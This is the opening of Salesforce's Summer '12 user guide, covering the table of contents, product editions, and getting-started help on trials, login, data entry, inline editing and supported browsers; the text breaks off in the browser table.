You are on page 1of 3810

User Guide: Summer '12

How to be Successful with Salesforce

Last updated: June 11 2012


Copyright 20002012 salesforce.com, inc. All rights reserved. Salesforce.com is a registered trademark of salesforce.com, inc., as are other

names and marks. Other marks appearing herein may be trademarks of their respective owners.

Table of Contents

Table of Contents
Welcome.............................................................................................................................................1
What's New in Salesforce?....................................................................................................................1
Overview...................................................................................................................................................................................2
Getting Started..........................................................................................................................................................................9

Working in Salesforce........................................................................................................................28
Personal Setup.........................................................................................................................................................................28
Home Tab...............................................................................................................................................................................55
Accounts..................................................................................................................................................................................64
Activities................................................................................................................................................................................115
Contacts................................................................................................................................................................................182
Contact Roles........................................................................................................................................................................220
Contracts...............................................................................................................................................................................223
Custom Object Records........................................................................................................................................................236
Documents............................................................................................................................................................................247
Email.....................................................................................................................................................................................257
List Views..............................................................................................................................................................................272
Notes & Attachments...........................................................................................................................................................287
Salesforce CRM Content......................................................................................................................................................291
Salesforce for Google Apps...................................................................................................................................................321
Search and Tags....................................................................................................................................................................341
Salesforce Touch...................................................................................................................................................................381

Administering Salesforce..................................................................................................................385
Setting Up Your Organization..............................................................................................................................................385
Company Information...........................................................................................................................................................390
Multiple Currencies...............................................................................................................................................................447
Advanced Currency Management.........................................................................................................................................451
Divisions................................................................................................................................................................................454
Managing Mail Merge Templates.........................................................................................................................................465
Using Letterheads.................................................................................................................................................................469
Managing Email Templates..................................................................................................................................................472
Translation Workbench........................................................................................................................................................487
User Management.................................................................................................................................................................502
Security and Sharing..............................................................................................................................................................610
Data Management.................................................................................................................................................................750
Data.com Administration......................................................................................................................................................868
D&B Company Administration............................................................................................................................................882
Administering Data.com Clean.............................................................................................................................................891
Monitoring............................................................................................................................................................................912
Salesforce Mobile..................................................................................................................................................................942

Table of Contents
Administering Salesforce for Outlook.................................................................................................................................1012
Email Administration..........................................................................................................................................................1034
Search and Tags..................................................................................................................................................................1046
Customize...........................................................................................................................................................................1050
Critical Updates Console.....................................................................................................................................................1612
Force.com Sites...................................................................................................................................................................1616
Customer Portal..................................................................................................................................................................1664

Building and Extending Apps..........................................................................................................1715


App Setup Overview...........................................................................................................................................................1715
Create..................................................................................................................................................................................1716
Develop...............................................................................................................................................................................1992
Deploy.................................................................................................................................................................................2211
Installed Packages................................................................................................................................................................2229

Building Sites.................................................................................................................................2258
Site.com Overview...............................................................................................................................................................2258
Setting Up Users..................................................................................................................................................................2259
Getting Started with Siteforce.............................................................................................................................................2266
Creating and Managing Sites..............................................................................................................................................2275
Creating and Managing Folders..........................................................................................................................................2282
Importing and Managing Assets.........................................................................................................................................2283
Creating and Managing Pages.............................................................................................................................................2285
Adding Features and Page Elements...................................................................................................................................2297
Styling Your Website..........................................................................................................................................................2315
Working with Dynamic Data..............................................................................................................................................2328
Using Events to Create Animated Effects...........................................................................................................................2357
Editing Site Content...........................................................................................................................................................2361
Previewing Site.com Sites....................................................................................................................................................2370
Managing Domains and Live Sites.....................................................................................................................................2371

Collaborating with Chatter.............................................................................................................2377


Chatter Overview................................................................................................................................................................2377
Chatter Terminology...........................................................................................................................................................2378
Using Chatter......................................................................................................................................................................2380
Chatter Tab Overview.........................................................................................................................................................2381
User Profiles........................................................................................................................................................................2381
People..................................................................................................................................................................................2386
Groups.................................................................................................................................................................................2389
Feeds...................................................................................................................................................................................2402
Files.....................................................................................................................................................................................2421
Search..................................................................................................................................................................................2442
Topics..................................................................................................................................................................................2444
Favorites..............................................................................................................................................................................2446
Bookmarks...........................................................................................................................................................................2449
Messages..............................................................................................................................................................................2450

ii

Table of Contents
Chat.....................................................................................................................................................................................2454
Email Notifications.............................................................................................................................................................2459
Recommendations...............................................................................................................................................................2461
Moderating Chatter............................................................................................................................................................2463
Chatter Desktop..................................................................................................................................................................2465

Selling............................................................................................................................................2475
Account Teams...................................................................................................................................................................2475
Assets...................................................................................................................................................................................2481
Competitors.........................................................................................................................................................................2490
Forecasting..........................................................................................................................................................................2493
Customizable Forecasts.......................................................................................................................................................2501
Forecasts..............................................................................................................................................................................2512
Opportunities......................................................................................................................................................................2527
Quotes.................................................................................................................................................................................2547
Data.com.............................................................................................................................................................................2561
D&B Companies.................................................................................................................................................................2585
Data.com Clean...................................................................................................................................................................2592
Products...............................................................................................................................................................................2601
Team Selling.......................................................................................................................................................................2631
Territory Management........................................................................................................................................................2638
Salesforce for Wealth Management....................................................................................................................................2666
Relationship Groups............................................................................................................................................................2675
Salesforce for Outlook.........................................................................................................................................................2693
Connect for Outlook...........................................................................................................................................................2723
Connect for Lotus Notes.....................................................................................................................................................2751
Connect for Office..............................................................................................................................................................2781
Connect Offline..................................................................................................................................................................2788
Mail Merge..........................................................................................................................................................................2810

Marketing......................................................................................................................................2816
Campaigns...........................................................................................................................................................................2816
Leads...................................................................................................................................................................................2865
Salesforce for Google AdWords..........................................................................................................................................2898

Analytics........................................................................................................................................2912
Reporting.............................................................................................................................................................................2912
Dashboards..........................................................................................................................................................................3057
Report Types.......................................................................................................................................................................3105
Analytic Snapshots..............................................................................................................................................................3114

Providing Support..........................................................................................................................3129
Call Center..........................................................................................................................................................................3129
Cases....................................................................................................................................................................................3174
Using Case Feed..................................................................................................................................................................3215
Case Teams.........................................................................................................................................................................3228

iii

Table of Contents
Portals..................................................................................................................................................................................3240
Solutions..............................................................................................................................................................................3242
Salesforce Knowledge..........................................................................................................................................................3265
Console................................................................................................................................................................................3301
Service Cloud Console........................................................................................................................................................3312
Ideas....................................................................................................................................................................................3324
Answers...............................................................................................................................................................................3338
Chatter Service....................................................................................................................................................................3351
Social Media........................................................................................................................................................................3356
Entitlement Management...................................................................................................................................................3357

Partner Selling................................................................................................................................3416
Salesforce to Salesforce........................................................................................................................................................3416
Connection Finder..............................................................................................................................................................3449
Partners...............................................................................................................................................................................3453
Partner Portal......................................................................................................................................................................3458

Checkout.......................................................................................................................................3506
Checkout.............................................................................................................................................................................3506

More Resources..............................................................................................................................3511
FAQ....................................................................................................................................................................................3511
Printable Tip Sheets & User Guides...................................................................................................................................3703
Accessibility.........................................................................................................................................................................3712
Salesforce Online Help Glossary.........................................................................................................................................3722

Index..............................................................................................................................................3757

iv

WELCOME

What's New in Salesforce?


Current Release
The latest release includes new features for sales, support, marketing, and Chatter users as well as enhancements to the platform.
For more information, visit the Summer '12 community page.
For a complete listing of new features along with implementation tips and best practices, see:

Summer 12 Release Notes


Force.com Connect for Lotus Notes Release Notes
Force.com Connect for Office Release Notes
Force.com Connect Offline Release Notes
Force.com Connect for Outlook Release Notes
Salesforce for Outlook Release Notes
Database.com Release Notes

Past Releases
For information about new features introduced in previous releases, see:

Spring '12 Release Notes


Winter '12 Release Notes
Summer '11 Release Notes
Spring '11 Release Notes
Winter '11 Release Notes
Summer '10 Release Notes
Spring '10 Release Notes
Winter '10 Release Notes
Summer '09 Release Notes
Spring '09 Release Notes
Winter '09 Release Notes
Summer '08 Release Notes
Spring '08 Release Notes
Winter '08 Release Notes
Summer '07 Release Notes
Spring '07 Release Notes
Force.com Mobile 7.0 for BlackBerry Release Notes
Force.com Mobile 6.1 for Windows Mobile 5 Release Notes
Winter '07 Release Notes
Summer '06 Release Notes
Winter '06 Release Notes

Overview

Introduction

Force.com Mobile 6.0 Release Notes


Summer '05 Release Notes
Winter '05 Release Notes
Summer '04 Release Notes
Spring '04 Release Notes
Winter '04 Release Notes

OVERVIEW
Introduction
Your Edition determines which features and functionality you can access. To determine which Edition you are using, check
the title bar of your browser.

Welcome to the award-winning cloud-computing provider designed for you to manage your customer relationships, integrate
with other systems, and build your own applications. Salesforce includes the following products and services:
Salesforce Applications
Salesforce includes prebuilt applications for customer relationship management (CRM) ranging from sales force automation
to partner relationship management, marketing, and customer service.
Force.com Platform
The Force.com platform is the first platform as a service (PaaS), enabling developers to create and deliver any kind of
business application entirely on-demand and without software. The platform also includes easy-to-use, point-and-click
customization tools to help you create solutions for your unique business requirements, without any programming
experience.
Database.com
Database.com is a multitenant cloud database service thats designed to store data for mobile, social, web, and desktop
applications. You can use Database.com as the back-end database for applications that are written in any language, and
run on any platform or mobile device. Database.com's built-in social computing infrastructure and native support for
building sophisticated REST-based APIs enables you to create employee-facing, native mobile and social apps.
AppExchange
AppExchange is a marketplace featuring hundreds of cloud applications created by salesforce.com customers, developers,
and partners. Many of the applications are free and all of them are pre-integrated with Salesforce, enabling you to easily
and efficiently add functionality.

Overview

What Is an Edition?

Salesforce.com Community
Salesforce.com provides training, support, consulting, events, best practices, and discussion boards to help you be
successful. Visit Salesforce.com Community.

See Also:
Sales Cloud Overview
Service Cloud Overview
What Is an Edition?
Personal Edition
Group Edition
Professional Edition
Enterprise Edition
Unlimited Edition
Developer Edition
Database.com Edition

What Is an Edition?
Your Edition determines which features and functionality you can access. To determine which Edition you are using, check
the title bar of your browser.

Salesforce.com offers several bundles of its products and services, each geared toward a different set of business needs. These
bundles, called Editions, all have the same look and feel, but vary by feature, functionality, and pricing. For example, a feature
that is available in Professional Edition for an additional fee may be included in Enterprise Edition.
For a comparison chart of Editions and their features, see Selecting the right Salesforce Edition.
The online help describes all generally available features, including those that may not be available in your Edition. Refer to
the Available in: line at the top of a help topic to see if it applies to your Edition.

See Also:
Introduction
Personal Edition
Group Edition
Professional Edition
Enterprise Edition
Unlimited Edition
Developer Edition
Understanding User License Types

Overview

Personal Edition

Personal Edition
Personal Edition is a CRM solution designed for an individual sales representative or other single user. Personal Edition
provides access to key contact management features such as accounts, contacts, and synchronization with Microsoft Outlook.
It also provides sales representatives with sales tools such as opportunities. Beginning with the Summer '09 release which
occurred in June 2009, new organizations do not include access to opportunities. Organizations that signed up prior to June
2009 still have access to opportunities.

Contact Manager
Contact Manager is designed for small businesses and provides access to key contact management features including accounts,
contacts, activities, calendars, notes and attachments, and reports. Contact Manager also provides straightforward and easy-to-use
customization options. For more information about Contact Manager features, visit the Salesforce Pricing & Editions page.

Group Edition
Salesforce Group Edition is designed for small businesses and workgroups with a limited number of users. Group Edition
users can manage their customers from the start of the sales cycle through closing the deal to providing customer support and
service. Group Edition offers access to accounts, contacts, opportunities, leads, cases, dashboards, and reports. For more
information about Group Edition features, visit the Salesforce Pricing & Editions page.

See Also:
Tip sheet: Using Group Edition
Administrator tip sheet: Setting Up Group Edition

Professional Edition
Salesforce Professional Edition is designed for businesses who need full-featured CRM functionality. Professional Edition
includes straightforward and easy-to-use customization, integration, and administration tools to facilitate any small- to
mid-sized deployment. For more information about Professional Edition features, visit the Salesforce Pricing & Editions
page.

Enterprise Edition
Salesforce Enterprise Edition is designed to meet the needs of large and complex businesses. In addition to all of the functionality
available in Professional Edition, Enterprise Edition organizations get advanced customization and administration tools that
can support large-scale deployments. Enterprise Edition also includes access to the Web services API so you can easily integrate

Overview

Unlimited Edition

with back-office systems. For more information about Enterprise Edition features, visit the Salesforce Pricing & Editions
page.

See Also:
Administrator setup guide: Enterprise Edition Upgrade Guide
Force.com API Usage Limits

Unlimited Edition
Unlimited Edition is salesforce.com's flagship solution for maximizing CRM success and extending that success across the
entire enterprise through the Force.com platform. Unlimited Edition customers benefit from new levels of platform flexibility
for managing and sharing all of their information on demand.
Unlimited Edition includes all Enterprise Edition functionality plus Premier Support, full mobile access, unlimited custom
apps, increased storage limits, and more. For more information about Unlimited Edition features, visit the Salesforce Pricing
& Editions page.

See Also:
Enterprise Edition
Force.com API Usage Limits

Developer Edition
Developer Edition provides access to the Force.com platform and API. It allows developers to extend the Salesforce system,
integrate with other applications, and develop new tools and applications. Developer Edition provides access to many of the
features available with Enterprise Edition.
Salesforce.com does not provide technical support for Developer Edition. You can solicit help from the developer community
message boards available to registered users via the Force.com developer website - developer.force.com. Documentation for
Developer Edition is available from the Technical Library.

See Also:
Force.com API Usage Limits

Database.com Edition
Database.com is a multitenant cloud database service thats designed to store data for mobile, social, web, and desktop
applications. You can use Database.com as the back-end database for applications that are written in any language, and run
on any platform or mobile device. Database.com's built-in social computing infrastructure and native support for building
sophisticated REST-based APIs enables you to create employee-facing, native mobile and social apps.
As a Salesforce user, youre already using Database.com when youre performing tasks such as creating custom objects, managing
security, or importing data with the Force.com platform and API.

Overview

Sales Cloud Overview

A standalone version of Database.com is available for developers who want to create applications that leverage other languages,
platforms, and devices.

See Also:
Getting Started with Database.com

Sales Cloud Overview


Your Edition determines which features and functionality you can access. To determine which Edition you are using, check
the title bar of your browser.

The Sales Cloud helps you build stronger relationships with customers, gain better visibility into sales, and close more deals,
whether you're in the office or on the road. Sales Cloud features are listed below.

Selling
Account and Contact Management

Accounts
Account Teams
Contacts
Contact Roles
Data.com
Contracts

Opportunities

Opportunities
Products
Quotes
Competitors
Team Selling
Forecasts

Marketing

Leads
Campaigns
Salesforce for Google AdWords

Analytics

Analytic Tools
Reports
Dashboards

Overview

Service Cloud Overview

Partner Selling

Partners
Partner Portal
Salesforce to Salesforce

Productivity Resources
Collaboration

Chatter
Files Tab

Calendar and Email

Activities
Email
Salesforce for Outlook
Mail Merge

Content

Files Tab
Salesforce CRM Content
Document Library
Salesforce for Google Apps
Connect for Office

Mobile

Salesforce Mobile

Offline

Connect Offline

See Also:
Service Cloud Overview
Introduction

Service Cloud Overview


Your Edition determines which features and functionality you can access. To determine which Edition you are using, check
the title bar of your browser.

The Service Cloud helps you provide more responsive customer service, increase agent productivity, reduce service costs, and
gain better visibility into your service organization, whether you're in the office or on the road. Service Cloud features are listed
below.

Overview

Service Cloud Overview

Contact Center
Case Management

Cases
Case Feed
Case Teams
Email-to-Case
Web-to-Case
Console Tab
Service Cloud Console
Live Agent

Workflow

Case Auto-Response Rules


Case Assignment Rules
Case Escalation Rules
Custom Workflow Rules

Telephony

Computer-Telephony Integration (CTI)


Computer-Telephony Integration Toolkit

Salesforce Knowledge Base

Salesforce Knowledge
Data Categories

Solutions

Solutions
HTML Solutions

Entitlements and Service Contracts

Entitlement Management

Email Templates

Text, HTML, and Visualforce Email Templates

Web Portals

Customer Portal
Partner Portal

Community

Answers
Ideas
Salesforce for Twitter and Facebook

Getting Started

Getting Started with Salesforce

Analytics

Analytic Tools
Reports
Dashboards

Productivity Resources
Collaboration

Chatter
Files Tab

Calendar and Email

Activities
Email
Salesforce for Outlook
Mail Merge

Content

Files Tab
Salesforce CRM Content
Document Library
Salesforce for Google Apps
Connect for Office

Mobile

Salesforce Mobile

Offline

Connect Offline

See Also:
Sales Cloud Overview
Introduction

GETTING STARTED
Getting Started with Salesforce
Available in: All Editions except Database.com

With Salesforce, you can enter, organize, and find your important business data. To get started, review these preliminary steps.

Getting Started

Trial Overview

For All Users

Review the Salesforce online training courses.


Edit your personal information.
Import your existing contacts.

For Administrators

Set up your Salesforce organization.


Import your company's existing data.

For Developers

Review the Documentation Resources for Force.com Developers.

See Also:
Language Settings Overview
Error Messages
Entering Data

Language Settings Overview


Available in: All Editions except Database.com

The Salesforce Web user interface, Salesforce for Outlook, Connect for Outlook, Connect Offline, and Connect for Office
are available in multiple languages.
The Salesforce Web user interface has two language settings:

Personal languageAll on-screen text, images, buttons, and online help display in this language. Edit your personal
information to change this setting.
Default organization languageThis applies to all new users until they select their personal language. This setting also
determines the language in which all customizationssuch as custom fields, tabs, and user interface optionsare stored.
For customizations, users' personal language settings don't override this default setting. Some setup items that are manually
entered by an administrator can be translated in the Translation Workbench.
Administrators can change this setting by editing the company information.

Text entered by users remains in the language in which it was entered.

Trial Overview
Available in: All Editions except Database.com

During your trial, you can evaluate Salesforce before you subscribe. Your trial includes:

10

Getting Started

Trial Overview

Sample data. You can delete sample data or start a new trial.
Administrator privileges. The person who signed up automatically becomes the administrator. You can add another
administrator when you add more users.
A variety of Salesforce features.
The ability to subscribe to Salesforce.
Note: Features included in your trial may not be available in the Edition you choose to purchase.
If you set up multiple users in your trial and later choose to convert to Personal Edition, all users except the original
system administrator will be deactivated.

See Also:
Adding or Subtracting User Licenses

Deleting Trial Data


Available in: All Editions except Database.com

User Permissions Needed


To delete trial data:

Modify All Data

When you sign up for Salesforce, your organization is initially populated with some sample data. During your trial period,
administrators can delete all of this sample data plus all of your organizations data at one time.
To delete all of the existing data in a trial organization:
1. Click Your Name > Setup > Data Management > Delete All Data. This link is available only during your trial period.
2. Enter the requested text stating that you understand that all of the data in your organization will be deleted. This includes
both sample data and data you have entered. Your user and administration setup is not affected.
3. Click Submit.
After your trial period has ended, you can delete any sample data manually or with the Mass Delete feature.

See Also:
Trial Overview
Starting a New Trial

11

Getting Started

Troubleshooting Login Issues

Starting a New Trial


Available in: Contact Manager, Group, Professional, Enterprise, and Unlimited Editions

User Permissions Needed


To start a new trial:

Modify All Data

When you sign up for Salesforce, you can choose an industry-specific template with sample data. During your trial period,
you can start a new trial with a blank template. To start a new trial, you must abandon your current trial, including all data
and customizations.
You can start a new trial if you have:

Less than 1000 rows of data


No additional user licenses added by salesforce.com
No additional functionality enabled by salesforce.com

To start a new trial:


1. Click Your Name > Setup > Data Management > Start a New Trial. This link is available only during your trial period.
2. Select your language and template preferences.
3. Enter the requested text stating that you want to abandon your current trial organization and all of its data. This includes
both sample data and data you have entered.
4. Check the box to confirm that all of your current trial data will be lost.
5. Click Submit.
6. When the confirmation page appears, click Submit.
Note: By choosing to start a new trial, you are abandoning your current trial organization including all existing data
and customizations. You will no longer be able to access the trial or data. Only usernames will be preserved.

See Also:
Trial Overview
Deleting Trial Data

Troubleshooting Login Issues


Available in: All Editions except Database.com

Logging in for the first time:


1. Your administrator adds you as a user.

12

Getting Started

Navigating

2. You receive an email with a link. Click the link to log in.
3. While logging in, you are prompted to change your password, and set a security question response.
The first time you log in you are prompted to change the temporary password that was emailed to you. Salesforce recommends
that you change your password periodically to protect the privacy of your data. If your administrator has set the User
passwords expires in setting, you must change your password periodically.
Overcoming password issues:

Forgot your password? Retrieve it.


Locked out? Wait until the lockout period expires and try again, or contact your administrator.
Password expired? Change your password when prompted.

The password policies set up by your administrator determine how many failed logins are allowed, how long the lockout period
lasts, and password requirements such as minimum length.
Note: If your session is inactive for a period of time, the system prompts you to continue working or log out. If you
don't respond to this time-out prompt, the system displays a login page.

Navigating
Available in: All Editions except Database.com

You can navigate between pages and select options using standard text and button links.

On any detail page you can click the Back to List: link to return to your most recently viewed list page. The kind of list
that you will be returning to is appended after the colon. For example, if the last list page you viewed was the 'D' page of
the All Accounts view, clicking Back to List: Accounts returns you to that page. Similarly, if your most recently viewed
list page was a list of cases, then the link would be Back to List: Cases. The link isn't available if you haven't viewed any
list pages in your current session.
If your organization has enabled collapsible page sections, use the arrow icons next to the section headings to expand or
collapse each section on the detail page.
Note: Buttons and links mentioned in the online help only display for users who have the appropriate user permissions.

See Also:
About the Sidebar
Navigating Long Lists

13

Getting Started

Entering Data

Entering Data
Available in: All Editions except Database.com

Remember to click Save so you dont lose your changes.


Required fields are marked with red on editable pages. All other fields are optional.
Use inline editing to edit fields directly on the detail page. If inline editing isn't enabled, contact your administrator.

See Also:
Entering Dates and Times
Entering Currency
Entering Phone Numbers
Selecting Picklist Values

Entering Dates and Times


Available in: All Editions except Database.com

Many fields allow you to enter a date or a time in the format specified by your Locale setting. For more information about
these formats, see What format is used for dates, times, and names in Salesforce? on page 3515.
To enter a time, do one of the following:

Click the link next to the field on the edit page to enter the current time.
Manually enter a time in the format allowed by your Locale setting.

To enter a date:
1. Click in the date or date/time field on an edit page.
2. Choose a date from the calendar, or manually enter a date.
All dates display with four digits for the year, although you can enter two or four digits according to these guidelines.
Examples are shown in the English (United States) locale:

Enter two digits from 00 to 59 for years 2000 - 2059, for example, 12/30/40 is saved as December 30, 2040
Enter two digits from 60 to 99 for years 1960 - 1999, for example, 12/30/60 is saved as December 30, 1960
Enter four digits for any year from 1700 to 4000

3. Optionally, enter a literal date value.


If your locale and language are English, you can use the following special date values for entering dates:

14

Getting Started

Entering Data

Literal Date Value

Range

Yesterday

The day before the current day.

Today

The current day.

Tomorrow

The day after the current day.

Monday

The next Monday. If the current day is Monday, the current


day.

Tuesday

The next Tuesday. If the current day is Tuesday, the current


day.

Wednesday

The next Wednesday. If the current day is Wednesday, the


current day.

Thursday

The next Thursday. If the current day is Thursday, the


current day.

Friday

The next Friday. If the current day is Friday, the current


day.

Saturday

The next Saturday. If the current day is Saturday, the current


day.

Sunday

The next Sunday. If the current day is Sunday, the current


day.

mm/dd

The values for the day and month and the current year. For
example, 12/31 would expand to 12/31/2009 if the year is
2009.

mm.dd

The values for the day and month and the current year. For
example, 12.31 would expand to 12/31/2009 if the year is
2009.

mm-dd

The values for the day and month and the current year. For
example, 12-31 would expand to 12/31/2009 if the year is
2009.

If the field is a date/time field, the time is set to the current time. These literal date values are not case sensitive.
Tip: You can set these literal date values using the first three letters. For example, yes for yesterday or mon for
Monday.

Minimum and Maximum Dates


Only dates within a certain range are valid. The earliest valid date is 1700-01-01T00:00:00Z GMT, or just after midnight on
January 1, 1700. The latest valid date is 4000-12-31T00:00:00Z GMT, or just after midnight on December 31, 4000.

15

Getting Started

Entering Data

Note: These values are offset by your time zone. For example, in the Pacific time zone, the earliest valid date is
1699-12-31T16:00:00, or 4:00 PM on December 31, 1699.

See Also:
Entering Data
Entering Currency
Entering Phone Numbers
Selecting Picklist Values

Entering Currency
Available in: All Editions except Database.com

In currency fields such as Quota or Annual Revenue, the Currency Locale setting in your Company Information
determines the format and currency type of amounts you enter. For Group, Professional, Enterprise, and Unlimited Edition
organizations that use multiple currencies, the format and currency type is determined by the Currency field in the record.
When you enter a monetary amount (or any other type of number), you can use the shortcuts k, m, or b to indicate thousands,
millions, or billions. For example, when you enter 50k it displays as 50,000. However, these shortcuts do not work for filter
criteria.

See Also:
Entering Data
Entering Dates and Times
Entering Phone Numbers
Selecting Picklist Values
Managing Multiple Currencies

Entering Phone Numbers


Available in: All Editions except Database.com

When you enter phone numbers in various phone fields, Salesforce preserves whatever phone number format you enter.
However, if your Locale is set to English (United States) or English (Canada), ten-digit phone numbers and eleven-digit
numbers that start with 1 are automatically formatted as (800) 555-1212 when you save the record. If you do not want
this formatting for a ten- or eleven-digit number, enter a + before the number, for example, +49 8178 94 07-0.

16

Getting Started

Entering Data

Note: If your ten- and eleven-digit phone numbers have Salesforces automatic format, you may need to enter the
parentheses when specifying filter conditions in areas such as custom reports, custom views, and lead assignment rules,
for example, Phone starts with (415).

See Also:
Entering Data
Entering Dates and Times
Entering Currency
Selecting Picklist Values

Selecting Picklist Values


In Salesforce, you may encounter a few different types of picklist fields:

Standard picklists - Click the down arrow to select a single value.


Multi-select picklists - Double click on any available value in one scrolling box to add that value to the selected scrolling
box on the right. You can choose a single value or multiple values. To select values within a range, select the first value and
click the last value in the range while holding down the SHIFT key; then, click the arrow to add selections to the chosen
box.
Dependent and controlling picklists work in conjunction with each other. The value chosen in the controlling picklist
affects the values available in its dependent picklist. Both controlling and dependent picklists are indicated on edit pages
by an

icon. Hover your mouse over the icon to display the name of the controlling or dependent picklist.

See Also:
Entering Data
Entering Dates and Times
Entering Currency
Entering Phone Numbers

Editing Data Using Inline Editing


Inline editing settings available in: All Editions except Database.com

User Permissions Needed


To enable inline editing:

Customize Application

Inline editing allows users to quickly change field values on a record's detail page, saving the user from having to access the
record's edit page first.

17

Getting Started

Entering Data

To enable inline editing for your organization, see Customizing User Interface Settings on page 1601.
To edit a record using inline editing:
1. Hover your mouse over the field you want to change:

indicates an editable field


indicates a read-only field (such as Last Modified By)

2. Double-click the highlighted region next to the field. The field changes to edit mode. Salesforce displays compound fields
in a dialog box so that all portions of the field can be edited. Examples of compound fields include addresses, first and last
names, dependent picklists, and dependent lookups.
3. Enter the new value. Press Esc while your cursor is in a field's edit box to revert a change for that field.
4. Click away from the field to confirm your change and continue making edits. If you are editing a field that is not a text
area field, you can also press Enter to confirm your change. Confirmed changes display in bold orange text. To revert a
change, click next to the field.
5. Press Enter again or click Save to commit all confirmed changes.
Important: Salesforce doesn't save confirmed changes to field values until you commit them by pressing the
Enter key a second time or clicking Save. Navigating away from the page without committing changes cancels
all edits made to the record.

Tips for Saving Inline Edits

Press Enter while your cursor is in a field's edit box to confirm the change for that field.
Press Enter when no fields are in edit mode to save all edits to the record.

Unsupported Behaviors

Removing the Edit button from a page layout doesn't prevent users from modifying the record using inline editing. To
prevent users from editing data altogether, administrators should use any combination of sharing rules, field-level security,
page layout field properties, validation rules, permissions or Visualforce pages.
Inline editing isn't available for users with accessibility mode enabled.
Inline editing isn't available for the following standard checkboxes on case and lead edit pages:
Case Assignment (Assign using active assignment rules)
Case Email Notification (Send notification email to contact)
Lead Assignment (Assign using active assignment rule)

You can't use inline editing on setup pages.


Solution descriptions can't be modified using inline editing if HTML solutions are enabled.
Inline editing isn't supported in the Customer Portal.
You can use inline editing to change the values of fields on records for which you have read-only access, either via field-level
security or your organization's sharing model; however, Salesforce doesn't let you save your changes, and displays an
insufficient privileges error message when you try to save the record.
Inline editing isn't supported in the dashboard.
The fields in the following standard objects are not inline editable.
All fields in Documents and Pricebooks
All fields in Tasks except for Subject and Comment
All fields in Events except for Subject, Desription, and Location

18

Getting Started

Entering Data

Full name fields of Person Accounts, Contacts, and Leads. However, their component fields are, for example, First
Name and Last Name.
Special Cases

Inline editing is available on detail pages for all editable fields on edit pages, except for some fields on tasks, events, price
books, and documents. To edit any of these, navigate to the edit page of a record, change the value of the field desired,
and then click Save. The following table lists the objects that have inline editing restrictions on some of their fields. You
may need special permissions to view some of these fields:
Object

Fields

All Objects

All fields are editable except long text area fields.

Opportunities

All fields are editable, except the following fields are only editable on detail pages (not
on list views):
Amount
Stage
Forecast Category
Quantity

Leads

All fields are editable, except Lead Status is only editable on detail pages (not on list
views).

Cases

All fields are editable, except Case Status is only editable on detail pages (not on list
views).

Contracts

All fields are editable, except Contract Status is only editable on detail pages (not
on list views).

Events

Only the following fields are editable:


Description
Location
Subject
Type
Custom fields

Tasks

Only the following fields are editable:


CallType
Description
Subject
Type
Custom fields

Documents

No fields are editable.

Pricebooks

No fields are editable.

19

Getting Started

Accessing Data

Error Messages
While using Salesforce, you may occasionally get an error message. Typically, this happens when you try to view, edit, or delete
information to which you don't have access. The message page that displays should explain the reason for the error. Click your
browsers Back button to return to the previous page. If you feel you have incorrectly received an error, click Help & Training
at the top of any page and select the My Cases tab to submit your issue directly to Customer Support.

Accessing Data
Available in: All Editions except Database.com

Your administrator can customize many different areas to secure your company's data. Additionally, users in Professional,
Enterprise, Unlimited, and Developer edition organizations can control the access that other users have to their data by sharing
records individually with colleagues.
To determine whether you can access data, review this table:
Action

Access Needed

To view a tab:

To view a record:

To view a field:

You must have the Read permission on the records within


that tab.
Make sure you have customized your personal display to
show the tab.
Make sure you have the Read permission on the type of
record you want to view.
Professional, Enterprise, Unlimited, and Developer Edition
organizations can set a sharing model that determines the
access users have to records they do not own. Depending
on your sharing model, the owner may need to share the
record with you if you are not the owner of the record or
above the owner in the role hierarchy.
Enterprise, Unlimited, and Developer Edition
organizations can use territory management to grant access
to accounts, opportunities, and cases.
Make sure you have the Read permission on the type of
record for the field.
For Enterprise and Unlimited Edition organizations, check
the field-level security; your field-level security settings
may prevent you from seeing the field.
Check your page layout; depending on your page layout
settings, you may see some fields and not others.

20

Getting Started

Using Salesforce Help

Action

Access Needed

To edit a field:

To view a related list:

To view a button or link:

Make sure you have the Edit permission on the type of


record for the field.
For Enterprise and Unlimited Edition organizations, check
the field-level security; your field-level security settings
may set a field to Read-Only.
Check your page layout; page layouts can set fields to read
only.
Make sure you have the Read permission on the type of
records displayed in the related list.
Check your page layout; depending on your page layout
settings, you may see some fields and not others.
Make sure you have the necessary permission to perform
the action. Buttons and links only display for users who
have the appropriate user permissions to use them.

Using Salesforce Help


All information in the online help applies to All Editions, unless otherwise noted.

The Salesforce Help site gives you the information you need to be successful. You can:

Get Help for What You're Working On


Find Answers to Your Questions
Print Help
Download Tip Sheets and Other Guides
Review Documentation for Force.com Developers
Contact Support

Get Help for What You're Working On


On any Salesforce page, click Help for this Page to get context-sensitive help for the page. On any related list or overlay,
click Help to get context-sensitive help.
Find Answers to Your Questions
To get targeted information, enter keywords or a phrase in the Help search box. You'll get a list of matching resources,
which you can refine by role, language, application area, or document type: help documentation, knowledge articles from
Customer Support, best practices, and training classes. For more information about the Help site's features and content,
start with the How to Use Help gadget on the Help site home page.

21

Getting Started

Supported Browsers

Print Help
Click Print this page from any Help page to print a single page. To print the entire user guide, which is a PDF version
of the help documentation, click Printable User Guide in the Documentation gadget or from any Help page. Because
the user guide is thousands of pages, we recommend you print only a single page or a range of pages.
Download Tip Sheets and Other Guides
You can find tip sheets, user guides, and other resources from Printable Tip Sheets & User Guides on page 3703. You can
also access these documents from the Documentation gadget on the Help site home page.
Review Documentation for Force.com Developers
If you are working with the Force.com platform, you'll find the information you need in Documentation Resources for
Force.com Developers on page 2163. You can also access developer documentation from the Documentation gadget on
the Help site home page.
Contact Support
Click Contact Support on the Help site to choose your support option: talk by phone, chat, open a case, post a question
to the Salesforce community, or take another action.
Note: Salesforce.com makes every effort to ensure the accuracy of the information contained within the Help site,
but assumes no responsibility or liability for any errors or inaccuracies that may appear. If you do find any errors, please
use the feedback form at the bottom of every help page.

See Also:
Custom Help Overview
Replacing Salesforce Online Help

Supported Browsers
Salesforce supports the following browsers:
Browser

Comments

Microsoft Internet Explorer versions 7, 8,


and 9

If you use Internet Explorer, Salesforce recommends using the latest version.
Apply all Microsoft hotfixes. The compatibility view feature in Internet
Explorer 8 and 9 is not supported in Salesforce. For configuration
recommendations, see Configuring Internet Explorer on page 26.

Mozilla Firefox, most recent stable version Salesforce.com makes every effort to test and support the most recent version
of Firefox. For configuration recommendations, see Configuring Firefox on
page 24.
Google Chrome, most recent stable version Google Chrome applies updates automatically; Salesforce.com makes every
effort to test and support the most recent version. There are no configuration
recommendations for Chrome. Chrome is not supported for the Console tab
or the Add Google Doc to Salesforce browser button.
Google Chrome Frame plug-in for
